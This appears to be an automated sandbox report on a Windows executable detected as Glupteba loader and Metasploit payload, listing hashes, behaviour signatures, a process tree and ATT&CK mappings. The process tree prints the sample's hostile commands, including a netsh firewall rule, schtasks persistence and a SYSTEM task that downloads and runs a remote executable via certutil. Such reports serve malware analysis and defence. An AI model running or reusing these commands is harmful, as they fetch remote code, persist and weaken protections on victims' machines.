Overview

overview

10

Static

static

3

015da1ee05...18.exe

windows7-x64

10

015da1ee05...18.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    147s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-06-2024 04:55

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General

  • Target

    015da1ee054a081fd0ab2f53738abac7_JaffaCakes118.exe

  • Size

    3.9MB

  • MD5

    015da1ee054a081fd0ab2f53738abac7

  • SHA1

    e2974790d2c6376255324416ea0a20c6c30a54fb

  • SHA256

    671864c2cde1a322af5dede9fe6c2b688f255f26ed86217558707ebd2eeb942f

  • SHA512

    8166bdde38500a4f23c8ee4f60031bcacfba96c6c6871897c2d8066218c8af918fd9b2c3918e2456654cbc16e33a2b4dd85d09c34871deb7d02d8d5347d70698

  • SSDEEP

    98304:bv/qj997LMJOKLIOU5umBDDDUW8lPZodlV1lkjx58:bAmLM5uYw2VAv

Score
10/10
gluptebametasploitbackdoordiscoverydropperevasionloaderpersistenceprivilege_escalationrootkittrojan

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • Glupteba payload 21 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

    trojanbackdoormetasploit
  • Modifies Windows Firewall 2 TTPs 1 IoCs
    evasion
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

    rootkitevasion
  • Modifies boot configuration data using bcdedit 1 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 2 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Modifies data under HKEY_USERS 64 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\015da1ee054a081fd0ab2f53738abac7_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\015da1ee054a081fd0ab2f53738abac7_JaffaCakes118.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2280
    • C:\Users\Admin\AppData\Local\Temp\015da1ee054a081fd0ab2f53738abac7_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\015da1ee054a081fd0ab2f53738abac7_JaffaCakes118.exe"
      2⤵
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:220
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2888
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:4064
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Executes dropped EXE
        • Manipulates WinMonFS driver.
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4520
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:3568
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1364
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          PID:1688
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:3972

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Persistence

Create or Modify System Process

1
T1543

Windows Service

1
T1543.003

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Event Triggered Execution

1
T1546

Netsh Helper DLL

1
T1546.007

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Privilege Escalation

Create or Modify System Process

1
T1543

Windows Service

1
T1543.003

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Event Triggered Execution

1
T1546

Netsh Helper DLL

1
T1546.007

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Defense Evasion

Impair Defenses

1
T1562

Disable or Modify System Firewall

1
T1562.004

Modify Registry

1
T1112

Credential Access

Discovery

Query Registry

2
T1012

System Information Discovery

1
T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
    Filesize

    1.7MB

    MD5

    13aaafe14eb60d6a718230e82c671d57

    SHA1

    e039dd924d12f264521b8e689426fb7ca95a0a7b

    SHA256

    f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

    SHA512

    ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

    Download Submit
  • C:\Windows\rss\csrss.exe
    Filesize

    3.9MB

    MD5

    015da1ee054a081fd0ab2f53738abac7

    SHA1

    e2974790d2c6376255324416ea0a20c6c30a54fb

    SHA256

    671864c2cde1a322af5dede9fe6c2b688f255f26ed86217558707ebd2eeb942f

    SHA512

    8166bdde38500a4f23c8ee4f60031bcacfba96c6c6871897c2d8066218c8af918fd9b2c3918e2456654cbc16e33a2b4dd85d09c34871deb7d02d8d5347d70698

    Download Submit
  • memory/220-7-0x0000000000400000-0x0000000000C2E000-memory.dmp
    Filesize

    8.2MB

    Download
  • memory/220-9-0x0000000000400000-0x0000000000C2E000-memory.dmp
    Filesize

    8.2MB

    Download
  • memory/220-16-0x0000000000400000-0x0000000000C2E000-memory.dmp
    Filesize

    8.2MB

    Download
  • memory/2280-6-0x0000000000400000-0x0000000000C1D000-memory.dmp
    Filesize

    8.1MB

    Download
  • memory/2280-2-0x0000000002D60000-0x0000000003564000-memory.dmp
    Filesize

    8.0MB

    Download
  • memory/2280-8-0x0000000002D60000-0x0000000003564000-memory.dmp
    Filesize

    8.0MB

    Download
  • memory/2280-1-0x00000000029A0000-0x0000000002D54000-memory.dmp
    Filesize

    3.7MB

    Download
  • memory/2280-3-0x0000000000400000-0x0000000000C1D000-memory.dmp
    Filesize

    8.1MB

    Download
  • memory/2280-5-0x0000000000400000-0x0000000000C2E000-memory.dmp
    Filesize

    8.2MB

    Download
  • memory/4520-33-0x0000000000400000-0x0000000000C2E000-memory.dmp
    Filesize

    8.2MB

    Download
  • memory/4520-27-0x0000000000400000-0x0000000000C2E000-memory.dmp
    Filesize

    8.2MB

    Download
  • memory/4520-17-0x0000000000400000-0x0000000000C2E000-memory.dmp
    Filesize

    8.2MB

    Download
  • memory/4520-18-0x0000000000400000-0x0000000000C2E000-memory.dmp
    Filesize

    8.2MB

    Download
  • memory/4520-24-0x0000000000400000-0x0000000000C2E000-memory.dmp
    Filesize

    8.2MB

    Download
  • memory/4520-25-0x0000000000400000-0x0000000000C2E000-memory.dmp
    Filesize

    8.2MB

    Download
  • memory/4520-26-0x0000000000400000-0x0000000000C2E000-memory.dmp
    Filesize

    8.2MB

    Download
  • memory/4520-23-0x0000000000400000-0x0000000000C2E000-memory.dmp
    Filesize

    8.2MB

    Download
  • memory/4520-28-0x0000000000400000-0x0000000000C2E000-memory.dmp
    Filesize

    8.2MB

    Download
  • memory/4520-29-0x0000000000400000-0x0000000000C2E000-memory.dmp
    Filesize

    8.2MB

    Download
  • memory/4520-30-0x0000000000400000-0x0000000000C2E000-memory.dmp
    Filesize

    8.2MB

    Download
  • memory/4520-31-0x0000000000400000-0x0000000000C2E000-memory.dmp
    Filesize

    8.2MB

    Download
  • memory/4520-32-0x0000000000400000-0x0000000000C2E000-memory.dmp
    Filesize

    8.2MB

    Download
  • memory/4520-22-0x0000000000400000-0x0000000000C2E000-memory.dmp
    Filesize

    8.2MB

    Download